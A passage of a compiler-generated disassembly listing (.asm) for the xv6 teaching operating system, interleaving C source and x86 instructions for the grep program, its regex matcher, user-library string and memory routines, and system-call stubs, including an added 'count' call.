2b: 8b 45 f4 mov -0xc(%ebp),%eax
2e: c6 00 00 movb $0x0,(%eax)
if(match(pattern, p)){
31: 8b 45 f0 mov -0x10(%ebp),%eax
34: 89 44 24 04 mov %eax,0x4(%esp)
38: 8b 45 08 mov 0x8(%ebp),%eax
3b: 89 04 24 mov %eax,(%esp)
3e: e8 b1 01 00 00 call 1f4 <match>
43: 85 c0 test %eax,%eax
45: 74 2e je 75 <grep+0x75>
*q = '\n';
47: 8b 45 f4 mov -0xc(%ebp),%eax
4a: c6 00 0a movb $0xa,(%eax)
write(1, p, q+1 - p);
4d: 8b 45 f4 mov -0xc(%ebp),%eax
50: 83 c0 01 add $0x1,%eax
53: 89 c2 mov %eax,%edx
55: 8b 45 f0 mov -0x10(%ebp),%eax
58: 89 d1 mov %edx,%ecx
5a: 29 c1 sub %eax,%ecx
5c: 89 c8 mov %ecx,%eax
5e: 89 44 24 08 mov %eax,0x8(%esp)
62: 8b 45 f0 mov -0x10(%ebp),%eax
65: 89 44 24 04 mov %eax,0x4(%esp)
69: c7 04 24 01 00 00 00 movl $0x1,(%esp)
70: e8 6b 05 00 00 call 5e0 <write>
}
p = q+1;
75: 8b 45 f4 mov -0xc(%ebp),%eax
78: 83 c0 01 add $0x1,%eax
7b: 89 45 f0 mov %eax,-0x10(%ebp)
m = 0;
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
m += n;
buf[m] = '\0';
p = buf;
while((q = strchr(p, '\n')) != 0){
7e: c7 44 24 04 0a 00 00 movl $0xa,0x4(%esp)
85: 00
86: 8b 45 f0 mov -0x10(%ebp),%eax
89: 89 04 24 mov %eax,(%esp)
8c: e8 ad 03 00 00 call 43e <strchr>
91: 89 45 f4 mov %eax,-0xc(%ebp)
94: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
98: 75 91 jne 2b <grep+0x2b>
*q = '\n';
write(1, p, q+1 - p);
}
p = q+1;
}
if(p == buf)
9a: 81 7d f0 80 0b 00 00 cmpl $0xb80,-0x10(%ebp)
a1: 75 07 jne aa <grep+0xaa>
m = 0;
a3: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
if(m > 0){
aa: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
ae: 7e 2b jle db <grep+0xdb>
m -= p - buf;
b0: ba 80 0b 00 00 mov $0xb80,%edx
b5: 8b 45 f0 mov -0x10(%ebp),%eax
b8: 89 d1 mov %edx,%ecx
ba: 29 c1 sub %eax,%ecx
bc: 89 c8 mov %ecx,%eax
be: 01 45 ec add %eax,-0x14(%ebp)
memmove(buf, p, m);
c1: 8b 45 ec mov -0x14(%ebp),%eax
c4: 89 44 24 08 mov %eax,0x8(%esp)
c8: 8b 45 f0 mov -0x10(%ebp),%eax
cb: 89 44 24 04 mov %eax,0x4(%esp)
cf: c7 04 24 80 0b 00 00 movl $0xb80,(%esp)
d6: e8 9f 04 00 00 call 57a <memmove>
{
int n, m;
char *p, *q;
m = 0;
while((n = read(fd, buf+m, sizeof(buf)-m-1)) > 0){
db: 8b 45 ec mov -0x14(%ebp),%eax
de: ba ff 03 00 00 mov $0x3ff,%edx
e3: 89 d1 mov %edx,%ecx
e5: 29 c1 sub %eax,%ecx
e7: 89 c8 mov %ecx,%eax
e9: 8b 55 ec mov -0x14(%ebp),%edx
ec: 81 c2 80 0b 00 00 add $0xb80,%edx
f2: 89 44 24 08 mov %eax,0x8(%esp)
f6: 89 54 24 04 mov %edx,0x4(%esp)
fa: 8b 45 0c mov 0xc(%ebp),%eax
fd: 89 04 24 mov %eax,(%esp)
100: e8 d3 04 00 00 call 5d8 <read>
105: 89 45 e8 mov %eax,-0x18(%ebp)
108: 83 7d e8 00 cmpl $0x0,-0x18(%ebp)
10c: 0f 8f 00 ff ff ff jg 12 <grep+0x12>
if(m > 0){
m -= p - buf;
memmove(buf, p, m);
}
}
}
112: c9 leave
113: c3 ret
00000114 <main>:
int
main(int argc, char *argv[])
{
114: 55 push %ebp
115: 89 e5 mov %esp,%ebp
117: 83 e4 f0 and $0xfffffff0,%esp
11a: 83 ec 20 sub $0x20,%esp
int fd, i;
char *pattern;
if(argc <= 1){
11d: 83 7d 08 01 cmpl $0x1,0x8(%ebp)
121: 7f 19 jg 13c <main+0x28>
printf(2, "usage: grep pattern [file ...]\n");
123: c7 44 24 04 0c 0b 00 movl $0xb0c,0x4(%esp)
12a: 00
12b: c7 04 24 02 00 00 00 movl $0x2,(%esp)
132: e8 0d 06 00 00 call 744 <printf>
exit();
137: e8 84 04 00 00 call 5c0 <exit>
}
pattern = argv[1];
13c: 8b 45 0c mov 0xc(%ebp),%eax
13f: 83 c0 04 add $0x4,%eax
142: 8b 00 mov (%eax),%eax
144: 89 44 24 1c mov %eax,0x1c(%esp)
if(argc <= 2){
148: 83 7d 08 02 cmpl $0x2,0x8(%ebp)
14c: 7f 19 jg 167 <main+0x53>
grep(pattern, 0);
14e: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
155: 00
156: 8b 44 24 1c mov 0x1c(%esp),%eax
15a: 89 04 24 mov %eax,(%esp)
15d: e8 9e fe ff ff call 0 <grep>
exit();
162: e8 59 04 00 00 call 5c0 <exit>
}
for(i = 2; i < argc; i++){
167: c7 44 24 18 02 00 00 movl $0x2,0x18(%esp)
16e: 00
16f: eb 75 jmp 1e6 <main+0xd2>
if((fd = open(argv[i], 0)) < 0){
171: 8b 44 24 18 mov 0x18(%esp),%eax
175: c1 e0 02 shl $0x2,%eax
178: 03 45 0c add 0xc(%ebp),%eax
17b: 8b 00 mov (%eax),%eax
17d: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
184: 00
185: 89 04 24 mov %eax,(%esp)
188: e8 73 04 00 00 call 600 <open>
18d: 89 44 24 14 mov %eax,0x14(%esp)
191: 83 7c 24 14 00 cmpl $0x0,0x14(%esp)
196: 79 29 jns 1c1 <main+0xad>
printf(1, "grep: cannot open %s\n", argv[i]);
198: 8b 44 24 18 mov 0x18(%esp),%eax
19c: c1 e0 02 shl $0x2,%eax
19f: 03 45 0c add 0xc(%ebp),%eax
1a2: 8b 00 mov (%eax),%eax
1a4: 89 44 24 08 mov %eax,0x8(%esp)
1a8: c7 44 24 04 2c 0b 00 movl $0xb2c,0x4(%esp)
1af: 00
1b0: c7 04 24 01 00 00 00 movl $0x1,(%esp)
1b7: e8 88 05 00 00 call 744 <printf>
exit();
1bc: e8 ff 03 00 00 call 5c0 <exit>
}
grep(pattern, fd);
1c1: 8b 44 24 14 mov 0x14(%esp),%eax
1c5: 89 44 24 04 mov %eax,0x4(%esp)
1c9: 8b 44 24 1c mov 0x1c(%esp),%eax
1cd: 89 04 24 mov %eax,(%esp)
1d0: e8 2b fe ff ff call 0 <grep>
close(fd);
1d5: 8b 44 24 14 mov 0x14(%esp),%eax
1d9: 89 04 24 mov %eax,(%esp)
1dc: e8 07 04 00 00 call 5e8 <close>
if(argc <= 2){
grep(pattern, 0);
exit();
}
for(i = 2; i < argc; i++){
1e1: 83 44 24 18 01 addl $0x1,0x18(%esp)
1e6: 8b 44 24 18 mov 0x18(%esp),%eax
1ea: 3b 45 08 cmp 0x8(%ebp),%eax
1ed: 7c 82 jl 171 <main+0x5d>
exit();
}
grep(pattern, fd);
close(fd);
}
exit();
1ef: e8 cc 03 00 00 call 5c0 <exit>
000001f4 <match>:
int matchhere(char*, char*);
int matchstar(int, char*, char*);
int
match(char *re, char *text)
{
1f4: 55 push %ebp
1f5: 89 e5 mov %esp,%ebp
1f7: 83 ec 18 sub $0x18,%esp
if(re[0] == '^')
1fa: 8b 45 08 mov 0x8(%ebp),%eax
1fd: 0f b6 00 movzbl (%eax),%eax
200: 3c 5e cmp $0x5e,%al
202: 75 17 jne 21b <match+0x27>
return matchhere(re+1, text);
204: 8b 45 08 mov 0x8(%ebp),%eax
207: 8d 50 01 lea 0x1(%eax),%edx
20a: 8b 45 0c mov 0xc(%ebp),%eax
20d: 89 44 24 04 mov %eax,0x4(%esp)
211: 89 14 24 mov %edx,(%esp)
214: e8 39 00 00 00 call 252 <matchhere>
219: eb 35 jmp 250 <match+0x5c>
do{ // must look at empty string
if(matchhere(re, text))
21b: 8b 45 0c mov 0xc(%ebp),%eax
21e: 89 44 24 04 mov %eax,0x4(%esp)
222: 8b 45 08 mov 0x8(%ebp),%eax
225: 89 04 24 mov %eax,(%esp)
228: e8 25 00 00 00 call 252 <matchhere>
22d: 85 c0 test %eax,%eax
22f: 74 07 je 238 <match+0x44>
return 1;
231: b8 01 00 00 00 mov $0x1,%eax
236: eb 18 jmp 250 <match+0x5c>
}while(*text++ != '\0');
238: 8b 45 0c mov 0xc(%ebp),%eax
23b: 0f b6 00 movzbl (%eax),%eax
23e: 84 c0 test %al,%al
240: 0f 95 c0 setne %al
243: 83 45 0c 01 addl $0x1,0xc(%ebp)
247: 84 c0 test %al,%al
249: 75 d0 jne 21b <match+0x27>
return 0;
24b: b8 00 00 00 00 mov $0x0,%eax
}
250: c9 leave
251: c3 ret
00000252 <matchhere>:
// matchhere: search for re at beginning of text
int matchhere(char *re, char *text)
{
252: 55 push %ebp
253: 89 e5 mov %esp,%ebp
255: 83 ec 18 sub $0x18,%esp
if(re[0] == '\0')
258: 8b 45 08 mov 0x8(%ebp),%eax
25b: 0f b6 00 movzbl (%eax),%eax
25e: 84 c0 test %al,%al
260: 75 0a jne 26c <matchhere+0x1a>
return 1;
262: b8 01 00 00 00 mov $0x1,%eax
267: e9 9b 00 00 00 jmp 307 <matchhere+0xb5>
if(re[1] == '*')
26c: 8b 45 08 mov 0x8(%ebp),%eax
26f: 83 c0 01 add $0x1,%eax
272: 0f b6 00 movzbl (%eax),%eax
275: 3c 2a cmp $0x2a,%al
277: 75 24 jne 29d <matchhere+0x4b>
return matchstar(re[0], re+2, text);
279: 8b 45 08 mov 0x8(%ebp),%eax
27c: 8d 48 02 lea 0x2(%eax),%ecx
27f: 8b 45 08 mov 0x8(%ebp),%eax
282: 0f b6 00 movzbl (%eax),%eax
285: 0f be c0 movsbl %al,%eax
288: 8b 55 0c mov 0xc(%ebp),%edx
28b: 89 54 24 08 mov %edx,0x8(%esp)
28f: 89 4c 24 04 mov %ecx,0x4(%esp)
293: 89 04 24 mov %eax,(%esp)
296: e8 6e 00 00 00 call 309 <matchstar>
29b: eb 6a jmp 307 <matchhere+0xb5>
if(re[0] == '$' && re[1] == '\0')
29d: 8b 45 08 mov 0x8(%ebp),%eax
2a0: 0f b6 00 movzbl (%eax),%eax
2a3: 3c 24 cmp $0x24,%al
2a5: 75 1d jne 2c4 <matchhere+0x72>
2a7: 8b 45 08 mov 0x8(%ebp),%eax
2aa: 83 c0 01 add $0x1,%eax
2ad: 0f b6 00 movzbl (%eax),%eax
2b0: 84 c0 test %al,%al
2b2: 75 10 jne 2c4 <matchhere+0x72>
return *text == '\0';
2b4: 8b 45 0c mov 0xc(%ebp),%eax
2b7: 0f b6 00 movzbl (%eax),%eax
2ba: 84 c0 test %al,%al
2bc: 0f 94 c0 sete %al
2bf: 0f b6 c0 movzbl %al,%eax
2c2: eb 43 jmp 307 <matchhere+0xb5>
if(*text!='\0' && (re[0]=='.' || re[0]==*text))
2c4: 8b 45 0c mov 0xc(%ebp),%eax
2c7: 0f b6 00 movzbl (%eax),%eax
2ca: 84 c0 test %al,%al
2cc: 74 34 je 302 <matchhere+0xb0>
2ce: 8b 45 08 mov 0x8(%ebp),%eax
2d1: 0f b6 00 movzbl (%eax),%eax
2d4: 3c 2e cmp $0x2e,%al
2d6: 74 10 je 2e8 <matchhere+0x96>
2d8: 8b 45 08 mov 0x8(%ebp),%eax
2db: 0f b6 10 movzbl (%eax),%edx
2de: 8b 45 0c mov 0xc(%ebp),%eax
2e1: 0f b6 00 movzbl (%eax),%eax
2e4: 38 c2 cmp %al,%dl
2e6: 75 1a jne 302 <matchhere+0xb0>
return matchhere(re+1, text+1);
2e8: 8b 45 0c mov 0xc(%ebp),%eax
2eb: 8d 50 01 lea 0x1(%eax),%edx
2ee: 8b 45 08 mov 0x8(%ebp),%eax
2f1: 83 c0 01 add $0x1,%eax
2f4: 89 54 24 04 mov %edx,0x4(%esp)
2f8: 89 04 24 mov %eax,(%esp)
2fb: e8 52 ff ff ff call 252 <matchhere>
300: eb 05 jmp 307 <matchhere+0xb5>
return 0;
302: b8 00 00 00 00 mov $0x0,%eax
}
307: c9 leave
308: c3 ret
00000309 <matchstar>:
// matchstar: search for c*re at beginning of text
int matchstar(int c, char *re, char *text)
{
309: 55 push %ebp
30a: 89 e5 mov %esp,%ebp
30c: 83 ec 18 sub $0x18,%esp
do{ // a * matches zero or more instances
if(matchhere(re, text))
30f: 8b 45 10 mov 0x10(%ebp),%eax
312: 89 44 24 04 mov %eax,0x4(%esp)
316: 8b 45 0c mov 0xc(%ebp),%eax
319: 89 04 24 mov %eax,(%esp)
31c: e8 31 ff ff ff call 252 <matchhere>
321: 85 c0 test %eax,%eax
323: 74 07 je 32c <matchstar+0x23>
return 1;
325: b8 01 00 00 00 mov $0x1,%eax
32a: eb 2c jmp 358 <matchstar+0x4f>
}while(*text!='\0' && (*text++==c || c=='.'));
32c: 8b 45 10 mov 0x10(%ebp),%eax
32f: 0f b6 00 movzbl (%eax),%eax
332: 84 c0 test %al,%al
334: 74 1d je 353 <matchstar+0x4a>
336: 8b 45 10 mov 0x10(%ebp),%eax
339: 0f b6 00 movzbl (%eax),%eax
33c: 0f be c0 movsbl %al,%eax
33f: 3b 45 08 cmp 0x8(%ebp),%eax
342: 0f 94 c0 sete %al
345: 83 45 10 01 addl $0x1,0x10(%ebp)
349: 84 c0 test %al,%al
34b: 75 c2 jne 30f <matchstar+0x6>
34d: 83 7d 08 2e cmpl $0x2e,0x8(%ebp)
351: 74 bc je 30f <matchstar+0x6>
return 0;
353: b8 00 00 00 00 mov $0x0,%eax
}
358: c9 leave
359: c3 ret
35a: 90 nop
35b: 90 nop
0000035c <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
35c: 55 push %ebp
35d: 89 e5 mov %esp,%ebp
35f: 57 push %edi
360: 53 push %ebx
asm volatile("cld; rep stosb" :
361: 8b 4d 08 mov 0x8(%ebp),%ecx
364: 8b 55 10 mov 0x10(%ebp),%edx
367: 8b 45 0c mov 0xc(%ebp),%eax
36a: 89 cb mov %ecx,%ebx
36c: 89 df mov %ebx,%edi
36e: 89 d1 mov %edx,%ecx
370: fc cld
371: f3 aa rep stos %al,%es:(%edi)
373: 89 ca mov %ecx,%edx
375: 89 fb mov %edi,%ebx
377: 89 5d 08 mov %ebx,0x8(%ebp)
37a: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
37d: 5b pop %ebx
37e: 5f pop %edi
37f: 5d pop %ebp
380: c3 ret
00000381 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
381: 55 push %ebp
382: 89 e5 mov %esp,%ebp
384: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
387: 8b 45 08 mov 0x8(%ebp),%eax
38a: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
38d: 8b 45 0c mov 0xc(%ebp),%eax
390: 0f b6 10 movzbl (%eax),%edx
393: 8b 45 08 mov 0x8(%ebp),%eax
396: 88 10 mov %dl,(%eax)
398: 8b 45 08 mov 0x8(%ebp),%eax
39b: 0f b6 00 movzbl (%eax),%eax
39e: 84 c0 test %al,%al
3a0: 0f 95 c0 setne %al
3a3: 83 45 08 01 addl $0x1,0x8(%ebp)
3a7: 83 45 0c 01 addl $0x1,0xc(%ebp)
3ab: 84 c0 test %al,%al
3ad: 75 de jne 38d <strcpy+0xc>
;
return os;
3af: 8b 45 fc mov -0x4(%ebp),%eax
}
3b2: c9 leave
3b3: c3 ret
000003b4 <strcmp>:
int
strcmp(const char *p, const char *q)
{
3b4: 55 push %ebp
3b5: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
3b7: eb 08 jmp 3c1 <strcmp+0xd>
p++, q++;
3b9: 83 45 08 01 addl $0x1,0x8(%ebp)
3bd: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
3c1: 8b 45 08 mov 0x8(%ebp),%eax
3c4: 0f b6 00 movzbl (%eax),%eax
3c7: 84 c0 test %al,%al
3c9: 74 10 je 3db <strcmp+0x27>
3cb: 8b 45 08 mov 0x8(%ebp),%eax
3ce: 0f b6 10 movzbl (%eax),%edx
3d1: 8b 45 0c mov 0xc(%ebp),%eax
3d4: 0f b6 00 movzbl (%eax),%eax
3d7: 38 c2 cmp %al,%dl
3d9: 74 de je 3b9 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
3db: 8b 45 08 mov 0x8(%ebp),%eax
3de: 0f b6 00 movzbl (%eax),%eax
3e1: 0f b6 d0 movzbl %al,%edx
3e4: 8b 45 0c mov 0xc(%ebp),%eax
3e7: 0f b6 00 movzbl (%eax),%eax
3ea: 0f b6 c0 movzbl %al,%eax
3ed: 89 d1 mov %edx,%ecx
3ef: 29 c1 sub %eax,%ecx
3f1: 89 c8 mov %ecx,%eax
}
3f3: 5d pop %ebp
3f4: c3 ret
000003f5 <strlen>:
uint
strlen(char *s)
{
3f5: 55 push %ebp
3f6: 89 e5 mov %esp,%ebp
3f8: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
3fb: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
402: eb 04 jmp 408 <strlen+0x13>
404: 83 45 fc 01 addl $0x1,-0x4(%ebp)
408: 8b 45 fc mov -0x4(%ebp),%eax
40b: 03 45 08 add 0x8(%ebp),%eax
40e: 0f b6 00 movzbl (%eax),%eax
411: 84 c0 test %al,%al
413: 75 ef jne 404 <strlen+0xf>
;
return n;
415: 8b 45 fc mov -0x4(%ebp),%eax
}
418: c9 leave
419: c3 ret
0000041a <memset>:
void*
memset(void *dst, int c, uint n)
{
41a: 55 push %ebp
41b: 89 e5 mov %esp,%ebp
41d: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
420: 8b 45 10 mov 0x10(%ebp),%eax
423: 89 44 24 08 mov %eax,0x8(%esp)
427: 8b 45 0c mov 0xc(%ebp),%eax
42a: 89 44 24 04 mov %eax,0x4(%esp)
42e: 8b 45 08 mov 0x8(%ebp),%eax
431: 89 04 24 mov %eax,(%esp)
434: e8 23 ff ff ff call 35c <stosb>
return dst;
439: 8b 45 08 mov 0x8(%ebp),%eax
}
43c: c9 leave
43d: c3 ret
0000043e <strchr>:
char*
strchr(const char *s, char c)
{
43e: 55 push %ebp
43f: 89 e5 mov %esp,%ebp
441: 83 ec 04 sub $0x4,%esp
444: 8b 45 0c mov 0xc(%ebp),%eax
447: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
44a: eb 14 jmp 460 <strchr+0x22>
if(*s == c)
44c: 8b 45 08 mov 0x8(%ebp),%eax
44f: 0f b6 00 movzbl (%eax),%eax
452: 3a 45 fc cmp -0x4(%ebp),%al
455: 75 05 jne 45c <strchr+0x1e>
return (char*)s;
457: 8b 45 08 mov 0x8(%ebp),%eax
45a: eb 13 jmp 46f <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
45c: 83 45 08 01 addl $0x1,0x8(%ebp)
460: 8b 45 08 mov 0x8(%ebp),%eax
463: 0f b6 00 movzbl (%eax),%eax
466: 84 c0 test %al,%al
468: 75 e2 jne 44c <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
46a: b8 00 00 00 00 mov $0x0,%eax
}
46f: c9 leave
470: c3 ret
00000471 <gets>:
char*
gets(char *buf, int max)
{
471: 55 push %ebp
472: 89 e5 mov %esp,%ebp
474: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
477: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
47e: eb 44 jmp 4c4 <gets+0x53>
cc = read(0, &c, 1);
480: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
487: 00
488: 8d 45 ef lea -0x11(%ebp),%eax
48b: 89 44 24 04 mov %eax,0x4(%esp)
48f: c7 04 24 00 00 00 00 movl $0x0,(%esp)
496: e8 3d 01 00 00 call 5d8 <read>
49b: 89 45 f4 mov %eax,-0xc(%ebp)
if(cc < 1)
49e: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
4a2: 7e 2d jle 4d1 <gets+0x60>
break;
buf[i++] = c;
4a4: 8b 45 f0 mov -0x10(%ebp),%eax
4a7: 03 45 08 add 0x8(%ebp),%eax
4aa: 0f b6 55 ef movzbl -0x11(%ebp),%edx
4ae: 88 10 mov %dl,(%eax)
4b0: 83 45 f0 01 addl $0x1,-0x10(%ebp)
if(c == '\n' || c == '\r')
4b4: 0f b6 45 ef movzbl -0x11(%ebp),%eax
4b8: 3c 0a cmp $0xa,%al
4ba: 74 16 je 4d2 <gets+0x61>
4bc: 0f b6 45 ef movzbl -0x11(%ebp),%eax
4c0: 3c 0d cmp $0xd,%al
4c2: 74 0e je 4d2 <gets+0x61>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
4c4: 8b 45 f0 mov -0x10(%ebp),%eax
4c7: 83 c0 01 add $0x1,%eax
4ca: 3b 45 0c cmp 0xc(%ebp),%eax
4cd: 7c b1 jl 480 <gets+0xf>
4cf: eb 01 jmp 4d2 <gets+0x61>
cc = read(0, &c, 1);
if(cc < 1)
break;
4d1: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
4d2: 8b 45 f0 mov -0x10(%ebp),%eax
4d5: 03 45 08 add 0x8(%ebp),%eax
4d8: c6 00 00 movb $0x0,(%eax)
return buf;
4db: 8b 45 08 mov 0x8(%ebp),%eax
}
4de: c9 leave
4df: c3 ret
000004e0 <stat>:
int
stat(char *n, struct stat *st)
{
4e0: 55 push %ebp
4e1: 89 e5 mov %esp,%ebp
4e3: 83 ec 28 sub $0x28,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
4e6: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp)
4ed: 00
4ee: 8b 45 08 mov 0x8(%ebp),%eax
4f1: 89 04 24 mov %eax,(%esp)
4f4: e8 07 01 00 00 call 600 <open>
4f9: 89 45 f0 mov %eax,-0x10(%ebp)
if(fd < 0)
4fc: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
500: 79 07 jns 509 <stat+0x29>
return -1;
502: b8 ff ff ff ff mov $0xffffffff,%eax
507: eb 23 jmp 52c <stat+0x4c>
r = fstat(fd, st);
509: 8b 45 0c mov 0xc(%ebp),%eax
50c: 89 44 24 04 mov %eax,0x4(%esp)
510: 8b 45 f0 mov -0x10(%ebp),%eax
513: 89 04 24 mov %eax,(%esp)
516: e8 fd 00 00 00 call 618 <fstat>
51b: 89 45 f4 mov %eax,-0xc(%ebp)
close(fd);
51e: 8b 45 f0 mov -0x10(%ebp),%eax
521: 89 04 24 mov %eax,(%esp)
524: e8 bf 00 00 00 call 5e8 <close>
return r;
529: 8b 45 f4 mov -0xc(%ebp),%eax
}
52c: c9 leave
52d: c3 ret
0000052e <atoi>:
int
atoi(const char *s)
{
52e: 55 push %ebp
52f: 89 e5 mov %esp,%ebp
531: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
534: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
53b: eb 24 jmp 561 <atoi+0x33>
n = n*10 + *s++ - '0';
53d: 8b 55 fc mov -0x4(%ebp),%edx
540: 89 d0 mov %edx,%eax
542: c1 e0 02 shl $0x2,%eax
545: 01 d0 add %edx,%eax
547: 01 c0 add %eax,%eax
549: 89 c2 mov %eax,%edx
54b: 8b 45 08 mov 0x8(%ebp),%eax
54e: 0f b6 00 movzbl (%eax),%eax
551: 0f be c0 movsbl %al,%eax
554: 8d 04 02 lea (%edx,%eax,1),%eax
557: 83 e8 30 sub $0x30,%eax
55a: 89 45 fc mov %eax,-0x4(%ebp)
55d: 83 45 08 01 addl $0x1,0x8(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
561: 8b 45 08 mov 0x8(%ebp),%eax
564: 0f b6 00 movzbl (%eax),%eax
567: 3c 2f cmp $0x2f,%al
569: 7e 0a jle 575 <atoi+0x47>
56b: 8b 45 08 mov 0x8(%ebp),%eax
56e: 0f b6 00 movzbl (%eax),%eax
571: 3c 39 cmp $0x39,%al
573: 7e c8 jle 53d <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
575: 8b 45 fc mov -0x4(%ebp),%eax
}
578: c9 leave
579: c3 ret
0000057a <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
57a: 55 push %ebp
57b: 89 e5 mov %esp,%ebp
57d: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
580: 8b 45 08 mov 0x8(%ebp),%eax
583: 89 45 f8 mov %eax,-0x8(%ebp)
src = vsrc;
586: 8b 45 0c mov 0xc(%ebp),%eax
589: 89 45 fc mov %eax,-0x4(%ebp)
while(n-- > 0)
58c: eb 13 jmp 5a1 <memmove+0x27>
*dst++ = *src++;
58e: 8b 45 fc mov -0x4(%ebp),%eax
591: 0f b6 10 movzbl (%eax),%edx
594: 8b 45 f8 mov -0x8(%ebp),%eax
597: 88 10 mov %dl,(%eax)
599: 83 45 f8 01 addl $0x1,-0x8(%ebp)
59d: 83 45 fc 01 addl $0x1,-0x4(%ebp)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
5a1: 83 7d 10 00 cmpl $0x0,0x10(%ebp)
5a5: 0f 9f c0 setg %al
5a8: 83 6d 10 01 subl $0x1,0x10(%ebp)
5ac: 84 c0 test %al,%al
5ae: 75 de jne 58e <memmove+0x14>
*dst++ = *src++;
return vdst;
5b0: 8b 45 08 mov 0x8(%ebp),%eax
}
5b3: c9 leave
5b4: c3 ret
5b5: 90 nop
5b6: 90 nop
5b7: 90 nop
000005b8 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
5b8: b8 01 00 00 00 mov $0x1,%eax
5bd: cd 40 int $0x40
5bf: c3 ret
000005c0 <exit>:
SYSCALL(exit)
5c0: b8 02 00 00 00 mov $0x2,%eax
5c5: cd 40 int $0x40
5c7: c3 ret
000005c8 <wait>:
SYSCALL(wait)
5c8: b8 03 00 00 00 mov $0x3,%eax
5cd: cd 40 int $0x40
5cf: c3 ret
000005d0 <pipe>:
SYSCALL(pipe)
5d0: b8 04 00 00 00 mov $0x4,%eax
5d5: cd 40 int $0x40
5d7: c3 ret
000005d8 <read>:
SYSCALL(read)
5d8: b8 05 00 00 00 mov $0x5,%eax
5dd: cd 40 int $0x40
5df: c3 ret
000005e0 <write>:
SYSCALL(write)
5e0: b8 10 00 00 00 mov $0x10,%eax
5e5: cd 40 int $0x40
5e7: c3 ret
000005e8 <close>:
SYSCALL(close)
5e8: b8 15 00 00 00 mov $0x15,%eax
5ed: cd 40 int $0x40
5ef: c3 ret
000005f0 <kill>:
SYSCALL(kill)
5f0: b8 06 00 00 00 mov $0x6,%eax
5f5: cd 40 int $0x40
5f7: c3 ret
000005f8 <exec>:
SYSCALL(exec)
5f8: b8 07 00 00 00 mov $0x7,%eax
5fd: cd 40 int $0x40
5ff: c3 ret
00000600 <open>:
SYSCALL(open)
600: b8 0f 00 00 00 mov $0xf,%eax
605: cd 40 int $0x40
607: c3 ret
00000608 <mknod>:
SYSCALL(mknod)
608: b8 11 00 00 00 mov $0x11,%eax
60d: cd 40 int $0x40
60f: c3 ret
00000610 <unlink>:
SYSCALL(unlink)
610: b8 12 00 00 00 mov $0x12,%eax
615: cd 40 int $0x40
617: c3 ret
00000618 <fstat>:
SYSCALL(fstat)
618: b8 08 00 00 00 mov $0x8,%eax
61d: cd 40 int $0x40
61f: c3 ret
00000620 <link>:
SYSCALL(link)
620: b8 13 00 00 00 mov $0x13,%eax
625: cd 40 int $0x40
627: c3 ret
00000628 <mkdir>:
SYSCALL(mkdir)
628: b8 14 00 00 00 mov $0x14,%eax
62d: cd 40 int $0x40
62f: c3 ret
00000630 <chdir>:
SYSCALL(chdir)
630: b8 09 00 00 00 mov $0x9,%eax
635: cd 40 int $0x40
637: c3 ret
00000638 <dup>:
SYSCALL(dup)
638: b8 0a 00 00 00 mov $0xa,%eax
63d: cd 40 int $0x40
63f: c3 ret
00000640 <getpid>:
SYSCALL(getpid)
640: b8 0b 00 00 00 mov $0xb,%eax
645: cd 40 int $0x40
647: c3 ret
00000648 <sbrk>:
SYSCALL(sbrk)
648: b8 0c 00 00 00 mov $0xc,%eax
64d: cd 40 int $0x40
64f: c3 ret
00000650 <sleep>:
SYSCALL(sleep)
650: b8 0d 00 00 00 mov $0xd,%eax
655: cd 40 int $0x40
657: c3 ret
00000658 <uptime>:
SYSCALL(uptime)
658: b8 0e 00 00 00 mov $0xe,%eax
65d: cd 40 int $0x40
65f: c3 ret
00000660 <count>:
//add
SYSCALL(count)
660: b8 16 00 00 00 mov $0x16,%eax
665: cd 40 int $0x40
667: c3 ret
00000668 <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
668: 55 push %ebp
669: 89 e5 mov %esp,%ebp
66b: 83 ec 28 sub $0x28,%esp
66e: 8b 45 0c mov 0xc(%ebp),%eax
671: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
674: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
67b: 00
67c: 8d 45 f4 lea -0xc(%ebp),%eax
